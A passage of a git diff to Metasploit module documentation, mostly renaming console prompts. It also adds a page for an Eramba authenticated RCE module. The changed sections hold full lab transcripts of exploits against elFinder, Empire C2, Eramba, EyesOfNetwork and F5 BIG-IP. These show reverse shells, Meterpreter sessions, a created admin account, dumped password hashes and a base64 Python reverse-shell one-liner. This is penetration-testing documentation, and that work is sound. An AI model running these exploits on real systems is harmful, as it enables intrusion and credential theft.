exploit/linux/http/elfinder_archive_cmd_injection [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/elfinder_archive_cmd_injection) > set rhost 192.168.140.128 +msf exploit(linux/http/elfinder_archive_cmd_injection) > set rhost 192.168.140.128 rhost => 192.168.140.128 -msf6 exploit(linux/http/elfinder_archive_cmd_injection) > set lhost 192.168.140.1 +msf exploit(linux/http/elfinder_archive_cmd_injection) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(linux/http/elfinder_archive_cmd_injection) > run +msf exploit(linux/http/elfinder_archive_cmd_injection) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/empire_skywalker.md b/documentation/modules/exploit/linux/http/empire_skywalker.md index d0cc9de8d281e..842f8d5a6082f 100644 --- a/documentation/modules/exploit/linux/http/empire_skywalker.md +++ b/documentation/modules/exploit/linux/http/empire_skywalker.md @@ -125,17 +125,17 @@ Default is `Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko ## Scenarios ### BC-SECURITY/Empire C2 Framework (v5.9.2) installed with Docker on Kali Linux 6.6.15 (target 0, port 80) ``` -msf6 > use exploit/linux/http/empire_skywalker +msf > use exploit/linux/http/empire_skywalker [*] No payload configured, defaulting to python/meterpreter/reverse_tcp -msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.7 +msf exploit(linux/http/empire_skywalker) > set rhost 192.168.56.7 rhost => 192.168.56.7 -msf6 exploit(linux/http/empire_skywalker) > set rport 80 +msf exploit(linux/http/empire_skywalker) > set rport 80 rport => 80 -msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 +msf exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(linux/http/empire_skywalker) > check +msf exploit(linux/http/empire_skywalker) > check [*] 192.168.56.7:80 - The target appears to be vulnerable. -msf6 exploit(linux/http/empire_skywalker) > run +msf exploit(linux/http/empire_skywalker) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [+] Successfully negotiated an artificial Empire agent @@ -158,21 +158,21 @@ Meterpreter : python/linux ### BC-SECURITY/Empire C2 Framework (v5.9.2) installed with Docker on Kali Linux 6.6.15 (target 1, port 8080) ``` -msf6 > use exploit/linux/http/empire_skywalker +msf > use exploit/linux/http/empire_skywalker [*] Using configured payload linux/x86/shell/reverse_tcp -msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6 +msf exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6 rhost => 192.168.56.6 -msf6 exploit(linux/http/empire_skywalker) > set rport 8080 +msf exploit(linux/http/empire_skywalker) > set rport 8080 rport => 8080 -msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 +msf exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(linux/http/empire_skywalker) > set target 1 +msf exploit(linux/http/empire_skywalker) > set target 1 target => 1 -msf6 exploit(linux/http/empire_skywalker) > set payload linux/x86/shell/reverse_tcp +msf exploit(linux/http/empire_skywalker) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp -msf6 exploit(linux/http/empire_skywalker) > check +msf exploit(linux/http/empire_skywalker) > check [*] 192.168.56.6:8080 - The target appears to be vulnerable. -msf6 exploit(linux/http/empire_skywalker) > run +msf exploit(linux/http/empire_skywalker) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [+] Successfully negotiated an artificial Empire agent @@ -191,21 +191,21 @@ root ### BC-SECURITY/Empire C2 Framework (v5.9.2) installed with Docker on Kali Linux 6.6.15 (target 2, port 8080) ``` -msf6 > use exploit/linux/http/empire_skywalker +msf > use exploit/linux/http/empire_skywalker [*] Using configured payload linux/x86/shell/reverse_tcp -msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6 +msf exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6 rhost => 192.168.56.6 -msf6 exploit(linux/http/empire_skywalker) > set rport 8080 +msf exploit(linux/http/empire_skywalker) > set rport 8080 rport => 8080 -msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 +msf exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(linux/http/empire_skywalker) > set target 2 +msf exploit(linux/http/empire_skywalker) > set target 2 target => 2 -msf6 exploit(linux/http/empire_skywalker) > set payload linux/x64/shell/reverse_tcp +msf exploit(linux/http/empire_skywalker) > set payload linux/x64/shell/reverse_tcp payload => linux/x64/shell/reverse_tcp -msf6 exploit(linux/http/empire_skywalker) > check +msf exploit(linux/http/empire_skywalker) > check [*] 192.168.56.6:8080 - The target appears to be vulnerable. -msf6 exploit(linux/http/empire_skywalker) > run +msf exploit(linux/http/empire_skywalker) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [+] Successfully negotiated an artificial Empire agent @@ -224,17 +224,17 @@ root ### ProjectEmpire/Empire (03ca7bdbcc81457da8e8c1419b36adf66fe9b110) installed with Docker on Kali Linux 6.6.15 (target 0, port 8080) ``` -msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6 +msf exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6 rhost => 192.168.56.6 -msf6 exploit(linux/http/empire_skywalker) > set rport 8080 +msf exploit(linux/http/empire_skywalker) > set rport 8080 rport => 8080 -msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 +msf exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(linux/http/empire_skywalker) > set CVE Original +msf exploit(linux/http/empire_skywalker) > set CVE Original CVE => Original -msf6 exploit(linux/http/empire_skywalker) > check +msf exploit(linux/http/empire_skywalker) > check [*] 192.168.56.6:8080 - The target appears to be vulnerable. -msf6 exploit(linux/http/empire_skywalker) > run +msf exploit(linux/http/empire_skywalker) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [+] Successfully negotiated an artificial Empire agent @@ -258,23 +258,23 @@ meterpreter > ### ProjectEmpire/Empire (03ca7bdbcc81457da8e8c1419b36adf66fe9b110) installed with Docker on Kali Linux 6.6.15 (target 1, port 8080) ``` -msf6 > use exploit/linux/http/empire_skywalker +msf > use exploit/linux/http/empire_skywalker [*] Using configured payload linux/x86/shell/reverse_tcp -msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6 +msf exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6 rhost => 192.168.56.6 -msf6 exploit(linux/http/empire_skywalker) > set rport 8080 +msf exploit(linux/http/empire_skywalker) > set rport 8080 rport => 8080 -msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 +msf exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(linux/http/empire_skywalker) > set CVE Original +msf exploit(linux/http/empire_skywalker) > set CVE Original CVE => Original -msf6 exploit(linux/http/empire_skywalker) > set target 1 +msf exploit(linux/http/empire_skywalker) > set target 1 target => 1 -msf6 exploit(linux/http/empire_skywalker) > set payload linux/x86/shell/reverse_tcp +msf exploit(linux/http/empire_skywalker) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp -msf6 exploit(linux/http/empire_skywalker) > check +msf exploit(linux/http/empire_skywalker) > check [*] 192.168.56.6:8080 - The target appears to be vulnerable. -msf6 exploit(linux/http/empire_skywalker) > run +msf exploit(linux/http/empire_skywalker) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [+] Successfully negotiated an artificial Empire agent @@ -293,23 +293,23 @@ root ### ProjectEmpire/Empire (03ca7bdbcc81457da8e8c1419b36adf66fe9b110) installed with Docker on Kali Linux 6.6.15 (target 2, port 8080) ``` -msf6 > use exploit/linux/http/empire_skywalker +msf > use exploit/linux/http/empire_skywalker [*] Using configured payload linux/x86/shell/reverse_tcp -msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6 +msf exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6 rhost => 192.168.56.6 -msf6 exploit(linux/http/empire_skywalker) > set rport 8080 +msf exploit(linux/http/empire_skywalker) > set rport 8080 rport => 8080 -msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 +msf exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(linux/http/empire_skywalker) > set cve Original +msf exploit(linux/http/empire_skywalker) > set cve Original cve => Original -msf6 exploit(linux/http/empire_skywalker) > set target 2 +msf exploit(linux/http/empire_skywalker) > set target 2 target => 2 -msf6 exploit(linux/http/empire_skywalker) > set payload linux/x64/shell/reverse_tcp +msf exploit(linux/http/empire_skywalker) > set payload linux/x64/shell/reverse_tcp payload => linux/x64/shell/reverse_tcp -msf6 exploit(linux/http/empire_skywalker) > check +msf exploit(linux/http/empire_skywalker) > check [*] 192.168.56.6:8080 - The target appears to be vulnerable. -msf6 exploit(linux/http/empire_skywalker) > run +msf exploit(linux/http/empire_skywalker) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [+] Successfully negotiated an artificial Empire agent diff --git a/documentation/modules/exploit/linux/http/eramba_rce.md b/documentation/modules/exploit/linux/http/eramba_rce.md new file mode 100644 index 0000000000000..b1023b209d20a --- /dev/null +++ b/documentation/modules/exploit/linux/http/eramba_rce.md @@ -0,0 +1,157 @@ +## Vulnerable Application + +Eramba is open and free GRC software, used by many companies. It offer mainly risk management solution. Version up to 3.19.1 is vulnerable to authenticated remote command execution. It is neccessary to provide valid credentials. The application allows to execute arbitrary OS commands, which can lead to remote access. Application is available in [Docker format](https://www.eramba.org/learning/courses/12/episodes/274). However, after installation, debug mode needs to be enabled. Here's modified Docker compose file for simpler testing (`docker-compose.simple-install.yml`): + +### Installation + +Docker and docker-compose is required. + +1. git clone https://github.com/eramba/docker +2. cd docker +3. Setup database credentials and public URL in `.env` +4. Copy following into `docker-compose.simple-install.yml` +``` +version: '3.19' +services: + mysql: + container_name: mysql + image: mysql:8.0.28-oracle + command: ["mysqld", "--disable-log-bin"] + restart: always + volumes: + - db-data:/var/lib/mysql + - ./mysql/conf.d:/etc/mysql/conf.d + - ./mysql/entrypoint:/docker-entrypoint-initdb.d + environment: + MYSQL_DATABASE: ${DB_DATABASE} + MYSQL_USER: ${DB_USERNAME} + MYSQL_PASSWORD: ${DB_PASSWORD} + MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD} + redis: + container_name: redis + image: redis:6.0.16-alpine + restart: always + eramba: + container_name: eramba + image: ghcr.io/eramba/eramba:3.19.1 + restart: always + ports: + - 8443:443 + volumes: + - data:/var/www/eramba/app/upgrade/data + - app:/var/www/eramba + - logs:/var/www/eramba/app/upgrade/logs + - ./apache/ssl/mycert.crt:/etc/ssl/certs/mycert.crt + - ./apache/ssl/mycert.key:/etc/ssl/private/mycert.key + - ./apache/security.conf:/etc/apache2/conf-available/security.conf + - ./apache/ports.conf:/etc/apache2/ports.conf + - ./apache/vhost-ssl.conf:/etc/apache2/sites-available/000-default.conf + - ./crontab/crontab:/etc/cron.d/eramba-crontab + environment: + DB_HOST: ${DB_HOST} + DB_DATABASE: ${DB_DATABASE} + DB_USERNAME: ${DB_USERNAME} + DB_PASSWORD: ${DB_PASSWORD} + CACHE_URL: ${CACHE_URL} + USE_PROXY: ${USE_PROXY} + PROXY_HOST: ${PROXY_HOST} + PROXY_PORT: ${PROXY_PORT} + USE_PROXY_AUTH: ${USE_PROXY_AUTH} + PROXY_AUTH_USER: ${PROXY_AUTH_USER} + PROXY_AUTH_PASS: ${PROXY_AUTH_PASS} + PUBLIC_ADDRESS: ${PUBLIC_ADDRESS} + DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT} + LDAPTLS_REQCERT: ${LDAPTLS_REQCERT} + links: + - mysql + - redis + depends_on: + - mysql + cron: + container_name: cron + image: ghcr.io/eramba/eramba:3.19.1 + command: ["cron", "-f"] + entrypoint: ["/docker-cron-entrypoint.sh"] + restart: always + volumes: + - data:/var/www/eramba/app/upgrade/data + - app:/var/www/eramba + - logs:/var/www/eramba/app/upgrade/logs + - ./docker-cron-entrypoint.sh:/docker-cron-entrypoint.sh + - ./crontab/crontab:/etc/cron.d/eramba-crontab + - .env:/var/www/docker.env + environment: + DB_HOST: ${DB_HOST} + DB_DATABASE: ${DB_DATABASE} + DB_USERNAME: ${DB_USERNAME} + DB_PASSWORD: ${DB_PASSWORD} + CACHE_URL: ${CACHE_URL} + USE_PROXY: ${USE_PROXY} + PROXY_HOST: ${PROXY_HOST} + PROXY_PORT: ${PROXY_PORT} + USE_PROXY_AUTH: ${USE_PROXY_AUTH} + PROXY_AUTH_USER: ${PROXY_AUTH_USER} + PROXY_AUTH_PASS: ${PROXY_AUTH_PASS} + PUBLIC_ADDRESS: ${PUBLIC_ADDRESS} + DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT} + LDAPTLS_REQCERT: ${LDAPTLS_REQCERT} + links: + - mysql + - redis + - eramba + depends_on: + - eramba +volumes: + app: + data: + logs: + db-data: +``` + +5. `docker compose -f docker-compose.simple-install.yml up -d` + +Shut down: `docker compose -f docker-compose.simple-install.yml down` + + +## Verification Steps + +1. use exploit/linux/http/eramba_rce +2. set RHOSTS [target IP] +3. set LHOST [attacker's IP] +4. set USERNAME [username] +5. set PASSWORD [password] +6. exploit + +## Options + +### USERNAME + +A valid username for Eramba application + +### PASSWORD + +A valid password for Eramba application + +## Scenarios + +``` +msf > use exploit/linux/http/eramba_rce +[*] Using configured payload cmd/unix/reverse_bash +msf exploit(linux/http/eramba_rce)> set RHOSTS 192.168.95.145 +RHOSTS => 192.168.95.145 +msf exploit(linux/http/eramba_rce)> set LHOST 192.168.95.142 +LHOST => 192.168.95.142 +msf exploit(linux/http/eramba_rce)> set USERNAME admin +USERNAME => admin +msf exploit(linux/http/eramba_rce)> set PASSWORD P4ssw0rd! +PASSWORD => P4ssw0rd! +msf exploit(linux/http/eramba_rce) > exploit +[*] Started reverse TCP handler on 192.168.95.142:4444 +[*] Command shell session 1 opened (192.168.95.142:4444 -> 192.168.95.145:38460) at 2025-03-13 12:31:26 +0100 +id + +uid=33(www-data) gid=33(www-data) groups=33(www-data) + + +``` + diff --git a/documentation/modules/exploit/linux/http/eyesofnetwork_autodiscovery_rce.md b/documentation/modules/exploit/linux/http/eyesofnetwork_autodiscovery_rce.md index 9059bd13bbea5..aef6dfeee9d7f 100644 --- a/documentation/modules/exploit/linux/http/eyesofnetwork_autodiscovery_rce.md +++ b/documentation/modules/exploit/linux/http/eyesofnetwork_autodiscovery_rce.md @@ -42,7 +42,7 @@ value is 1. 1. EyesOfNetwork version 5.1 ``` -msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > show options +msf exploit(linux/http/eyesofnetwork_autodiscovery_rce) > show options Module options (exploit/linux/http/eyesofnetwork_autodiscovery_rce): @@ -76,7 +76,7 @@ Exploit target: 1 Linux (x64) -msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit +msf exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit [*] Started reverse TCP handler on 192.168.1.2:4444 [*] Target is EyesOfNetwork version 5.1. Attempting exploitation using CVE-2020-9465. @@ -93,7 +93,7 @@ msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit 2. EyesOfNetwork version 5.2 ``` -msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit +msf exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit [*] Started reverse TCP handler on 192.168.1.2:4444 [*] Target is EyesOfNetwork version 5.2. Attempting exploitation using CVE-2020-9465. @@ -110,7 +110,7 @@ msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit 3. EyesOfNetwork version 5.3 ``` -msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit +msf exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit [*] Started reverse TCP handler on 192.168.1.2:4444 [*] Target is EyesOfNetwork version 5.3 or later. Attempting exploitation using CVE-2020-8657 or CVE-2020-8656. diff --git a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902.md b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902.md index f2b8c12067262..d2010c583d635 100644 --- a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902.md +++ b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902.md @@ -52,9 +52,9 @@ Defaults to `/tmp`. ### F5 BIG-IP 14.1.2 in VMware Fusion ``` -msf5 > use exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902 +msf > use exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > options +msf exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > options Module options (exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902): @@ -87,11 +87,11 @@ Exploit target: 1 Linux Dropper -msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > set rhosts 172.16.249.179 +msf exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > set rhosts 172.16.249.179 rhosts => 172.16.249.179 -msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > set lhost 172.16.249.1 +msf exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > set lhost 172.16.249.1 lhost => 172.16.249.1 -msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > run +msf exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > run [*] Started reverse TCP handler on 172.16.249.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md index da0bbb6ad7ac2..1916ffd8f3476 100644 --- a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md +++ b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md @@ -37,15 +37,15 @@ This executes an OS command on the target device. ### F5 BIG-IP 17.0.0.1-0.0.4 ``` -msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set RHOSTS 192.168.159.32 +msf exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set RHOSTS 192.168.159.32 RHOSTS => 192.168.159.32 -msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp +msf exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set LHOST 192.168.159.128 +msf exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > check +msf exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > check [+] 192.168.159.32:443 - The target is vulnerable. -msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > exploit +msf exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [+] Admin user was created successfully. Credentials: UyPzjB - qu0k7MxIzIDlvS @@ -65,7 +65,7 @@ meterpreter > pwd /var/service/restjavad meterpreter > background [*] Backgrounding session 1... -msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > creds +msf exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > creds Credentials =========== @@ -73,5 +73,5 @@ host origin service public private ---- ------ ------- ------ ------- ----- ------------ ---------- ---------------- 192.168.159.32 192.168.159.32 443/tcp (F5 BIG-IP TMUI) admin $6$gquMefr5$HGA8j7xLzHq2cfZOSudg6g6vETPpHthWOSWJtCtYd1sWRoNGCLnAQKbRvQoRm1QgEm8fC3HfH5t (TRUNCATED) Nonreplayable hash sha512,crypt -msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > +msf exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > ``` diff --git a/documentation/modules/exploit/linux/http/f5_icontrol_rce.md b/documentation/modules/exploit/linux/http/f5_icontrol_rce.md index 5811f79dc8195..e1459c6b3467d 100644 --- a/documentation/modules/exploit/linux/http/f5_icontrol_rce.md +++ b/documentation/modules/exploit/linux/http/f5_icontrol_rce.md @@ -78,17 +78,17 @@ Set this to base path to the iControl installation. Defaults to `/`. ### BIG-IP 16.1.2.1 ``` -msf6 > use exploits/linux/http/f5_icontrol_rce +msf > use exploits/linux/http/f5_icontrol_rce [*] Using configured payload cmd/unix/reverse_python_ssl -msf6 exploit(linux/http/f5_icontrol_rce) > set PAYLOAD payload/cmd/unix/python/meterpreter/reverse_tcp +msf exploit(linux/http/f5_icontrol_rce) > set PAYLOAD payload/cmd/unix/python/meterpreter/reverse_tcp PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/f5_icontrol_rce) > set RHOSTS 10.0.0.133 +msf exploit(linux/http/f5_icontrol_rce) > set RHOSTS 10.0.0.133 RHOSTS => 10.0.0.133 -msf6 exploit(linux/http/f5_icontrol_rce) > set LHOST 10.0.0.123 +msf exploit(linux/http/f5_icontrol_rce) > set LHOST 10.0.0.123 LHOST => 10.0.0.123 -msf6 exploit(linux/http/f5_icontrol_rce) > set RPORT 443 +msf exploit(linux/http/f5_icontrol_rce) > set RPORT 443 RPORT => 443 -msf6 exploit(linux/http/f5_icontrol_rce) > show options +msf exploit(linux/http/f5_icontrol_rce) > show options Module options (exploit/linux/http/f5_icontrol_rce): @@ -119,7 +119,7 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/f5_icontrol_rce) > exploit +msf exploit(linux/http/f5_icontrol_rce) > exploit [*] Started reverse TCP handler on 10.0.0.123:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/f5_icontrol_rest_ssrf_rce.md b/documentation/modules/exploit/linux/http/f5_icontrol_rest_ssrf_rce.md index 51bb505daf203..4de430fd6a44d 100644 --- a/documentation/modules/exploit/linux/http/f5_icontrol_rest_ssrf_rce.md +++ b/documentation/modules/exploit/linux/http/f5_icontrol_rest_ssrf_rce.md @@ -59,9 +59,9 @@ Set this to a custom token generation endpoint. Random if unset. ### BIG-IP Virtual Edition 16.0.1 in VMware Fusion ``` -msf6 > use exploit/linux/http/f5_icontrol_rest_ssrf_rce +msf > use exploit/linux/http/f5_icontrol_rest_ssrf_rce [*] Using configured payload cmd/unix/reverse_python_ssl -msf6 exploit(linux/http/f5_icontrol_rest_ssrf_rce) > options +msf exploit(linux/http/f5_icontrol_rest_ssrf_rce) > options Module options (exploit/linux/http/f5_icontrol_rest_ssrf_rce): @@ -96,11 +96,11 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/f5_icontrol_rest_ssrf_rce) > set rhosts 192.168.123.134 +msf exploit(linux/http/f5_icontrol_rest_ssrf_rce) > set rhosts 192.168.123.134 rhosts => 192.168.123.134 -msf6 exploit(linux/http/f5_icontrol_rest_ssrf_rce) > set lhost 192.168.123.1 +msf exploit(linux/http/f5_icontrol_rest_ssrf_rce) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(linux/http/f5_icontrol_rest_ssrf_rce) > run +msf exploit(linux/http/f5_icontrol_rest_ssrf_rce) > run [+] python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMTIzLjEnLDQ0NDQpKQpzPXNzbC53cmFwX3NvY2tldChzbykKcU49RmFsc2UKd2hpbGUgbm90IHFOOgoJZGF0YT1zLnJlY3YoMTAyNCkKCWlmIGxlbihkYXRhKT09MDoKCQlxTiA9IFRydWUKCXByb2M9c3VicHJvY2Vzcy5Qb3BlbihkYXRhLHNoZWxsPVRydWUsc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSxzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLHN0ZGluPXN1YnByb2Nlc3MuUElQRSkKCXN0ZG91dF92YWx1ZT1wcm9jLnN0ZG91dC5yZWFkKCkgKyBwcm9jLnN0ZGVyci5yZWFkKCkKCXMuc2VuZChzdGRvdXRfdmFsdWUpCg==')[0]))" [*] Started reverse SSL handler on 192.168.123.1:4444 diff --git a/documentation/modules/exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800.md b/documentation/modules/exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800.md index c312112f2552f..03af7a0d8733d 100644 --- a/documentation/modules/exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800.md +++ b/documentation/modules/exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800.md @@ -31,22 +31,22 @@ is the default `HttpUsername`) works great, if you have the password. This should be the normal experience: ``` -msf6 > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 +msf > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162 +msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162 RHOST => 10.0.0.162 -msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179 +msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179 LHOST => 10.0.0.179 -msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword iagotestbigip +msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword iagotestbigip HttpPassword => mybigippassword -msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set VERBOSE true +msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set VERBOSE true VERBOSE => true -msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit +msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [*] Creating an .rpmspec file on the target... [*] Created spec file: /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec diff --git a/documentation/modules/exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622.md b/documentation/modules/exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622.md index 88bc8e1368082..709632ef0f0ac 100644 --- a/documentation/modules/exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622.md +++ b/documentation/modules/exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622.md @@ -38,16 +38,16 @@ If the `TARGET` is `2` (`Custom`), the file that will be overwritten with the pa Start the listener: ``` -msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622 +msf > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622 [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162 +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162 TARGET_HOST => 10.0.0.162 -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179 +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179 LHOST => 10.0.0.179 -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below [*] Using URL: http://10.0.0.179:8080/LXsNzhG6zMdQ @@ -59,7 +59,7 @@ into performing HTTP Basic authentication) needs to visit that URL. When any user connects, they'll be redirected to the SOAP endpoint and you'll see: ``` -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below @@ -116,7 +116,7 @@ And, on Metasploit: [+] Deleted /var/log/f5_update_checker.out [*] Meterpreter session 1 opened (10.0.0.179:4444 -> 10.0.0.162:51388) at 2022-11-14 15:28:04 -0800 -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > sessions -i 1 +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -129,19 +129,19 @@ This works similarly.. use the module, set the `TARGET_HOST`, and set the `TARGET` to `1`: ``` -msf6 > use 